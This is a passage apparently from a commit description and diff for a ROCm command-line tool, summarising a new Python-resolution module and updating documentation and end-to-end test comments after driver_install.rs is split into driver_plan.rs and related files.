[`therock/python.rs`](../apps/rocm/src/therock/python.rs) — full domain extraction, a child of `therock.rs` that builds on `therock/io.rs`, `therock/process.rs` and `therock/source.rs` (split out of `therock.rs`): the Python an install runs on. `python_requirement` maps a `SourceLayout` to the interpreter the layout needs (`PythonRequirement`: wheel tag and `uv` version), which is why `source.rs` had to move first; `resolve_python_launcher` finds one in order of an explicit `ROCM_CLI_PYTHON`, `PATH`, the saved managed Python, then `ensure_managed_python`, which installs one through `uv` and records it in the managed-Python manifest; the resolver reads its environment through `PythonResolverEnv`, so tests steer it with a thread-local override (`OverridePythonResolverEnv`) rather than rewriting `PATH`; `wheel_compatibility_for_python` and `current_platform_wheel_tags` report the wheel tags an interpreter and platform accept (`WheelCompatibility`); `ensure_uv_venv` creates, or recreates when the interpreter tag no longer matches, the runtime's virtual environment. `venv_python_path` stays in `therock.rs` for good, with the other keys and roots helpers, and this module reads it from there. The items `therock.rs` reaches, and `split_runtime_path`, which `therock/probe.rs` reads, are `pub(super)`; the rest is private, including `ensure_managed_python` and `resolve_python_launcher_in` (the resolver's entry point that takes its environment as an argument). Its Unix-only tests drive fake interpreters and `uv` scripts. diff --git a/docs/testing.md b/docs/testing.md index 0b1355a069..4a4de17a3d 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -2181,7 +2181,7 @@ override that isn't a plain version token is refused rather than silently falling back, since it is interpolated into privileged shell commands: ```bash -cargo test -p rocm --bin rocm driver_install +cargo test -p rocm --bin rocm -- driver_install driver_plan ``` `driver-install-06` in @@ -2191,14 +2191,14 @@ repo file and signing key with the host's own suite (`noble` on 24.04, `resolute` on 26.04), and the previous-driver warning. The warning command is also run against a stubbed `dpkg-query` by `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed` in -[driver_install.rs](../apps/rocm/src/driver_install.rs). +[driver_plan.rs](../apps/rocm/src/driver_plan.rs). ## /etc/os-release Every Rust reader of `/etc/os-release` parses it with [`os_release.rs`](../crates/rocm-core/src/os_release.rs), which returns the value `sh` would assign or nothing: the driver plan -([`driver_install.rs`](../apps/rocm/src/driver_install.rs)), the OpenMPI, +([`driver_plan.rs`](../apps/rocm/src/driver_plan.rs)), the OpenMPI, libatomic and libnuma install plans `rocm` runs before serving and the hints naming them ([`openmpi.rs`](../crates/rocm-core/src/openmpi.rs)), `rocm examine`'s distro fields ([`host_env.rs`](../crates/rocm-core/src/examine/host_env.rs)), @@ -2265,7 +2265,7 @@ directly too, constructing an `OsRelease` from fixture text instead of going through a bare-text sibling — `crate::hardware_root::OsRelease::found` in [openmpi.rs](../crates/rocm-core/src/openmpi.rs)'s tests, and the equivalent `os_release_found` test helper in -[driver_install.rs](../apps/rocm/src/driver_install.rs)'s (the former is +[driver_plan.rs](../apps/rocm/src/driver_plan.rs)'s (the former is `#[cfg(test)] pub(crate)` inside `rocm-core` and so not visible from `apps/rocm`'s own tests). @@ -2288,7 +2288,7 @@ rather than the real host. The `a_fallback_read_plans*`/ `an_unreadable_file*`/`distro_name_names_an_unreadable_file` tests in `rocm-core` and `rocm` construct an `OsRelease` directly — bypassing the real read entirely, since the production functions that do it -(`openmpi::real_os_release`, `runtime_install_finalize::real_os_release`) +(`openmpi::real_os_release`, `system_packages::real_os_release`) read the real machine unconditionally and cannot honour a simulated root — to pin that a fallback-sourced read plans and hints identically to a primary-sourced one diff --git a/docs/wsl.md b/docs/wsl.md index 38b76b2860..e1194a247c 100644 --- a/docs/wsl.md +++ b/docs/wsl.md @@ -83,7 +83,7 @@ The equivalent manual steps, for reference or for a host where the CLI is not installed yet. Do not skip the `sha256sum -c` line, because `apt install` runs the package's maintainer scripts as root. `rocm install driver` checks the download against a digest pinned in the ROCm CLI source -(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_install.rs`), which also +(`ROCDXG_PINNED_DIGESTS` in `apps/rocm/src/driver_plan/rocdxg.rs`), which also catches a replaced release asset. A digest read from the release page at install time catches only a corrupted download. For a version listed in `ROCDXG_PINNED_DIGESTS`, use the pinned digest. Set `ROCDXG_VERSION` to the diff --git a/tests/e2e-cucumber/features/examine.feature b/tests/e2e-cucumber/features/examine.feature index 34c732c3cc..d5f7218782 100644 --- a/tests/e2e-cucumber/features/examine.feature +++ b/tests/e2e-cucumber/features/examine.feature @@ -282,8 +282,10 @@ Feature: GPU detection and system inspection # `cargo xtask e2e` and every prebuilt full-suite lane use), so they describe a # machine other than the runner. The driver plan cannot be exercised this way: # `rocm install driver` builds a plan that runs against the real machine, so it - # deliberately reads the real `/etc/os-release` (see `real_os_release`); its - # parsing is covered by the unit tests in `driver_install.rs`. + # deliberately reads the real `/etc/os-release` (`real_os_release` in + # `system_packages.rs`, whose test there pins that it ignores a simulated + # host root); the plan built from it is covered by the unit tests in + # `driver_plan.rs`. # # The planted distributions are ones no CI runner or developer host here runs, # so a probe that read the real file instead would report a different one. diff --git a/tests/e2e-cucumber/tests/e2e/driver_steps.rs b/tests/e2e-cucumber/tests/e2e/driver_steps.rs index 63f8e4f94b..a1532cc998 100644 --- a/tests/e2e-cucumber/tests/e2e/driver_steps.rs +++ b/tests/e2e-cucumber/tests/e2e/driver_steps.rs @@ -97,7 +97,7 @@ async fn assert_driver_plan_matches_host_release(world: &mut E2eWorld) { // by the plan itself. The dry run only shows the planned command text; the // conditional (warns only when amdgpu-dkms is installed) is proven by // `previous_driver_warning_fires_only_when_amdgpu_dkms_is_installed` in - // apps/rocm/src/driver_install.rs. + // apps/rocm/src/driver_plan.rs. assert!( output.contains("from a previous installation is installed and was not removed"), "{output}"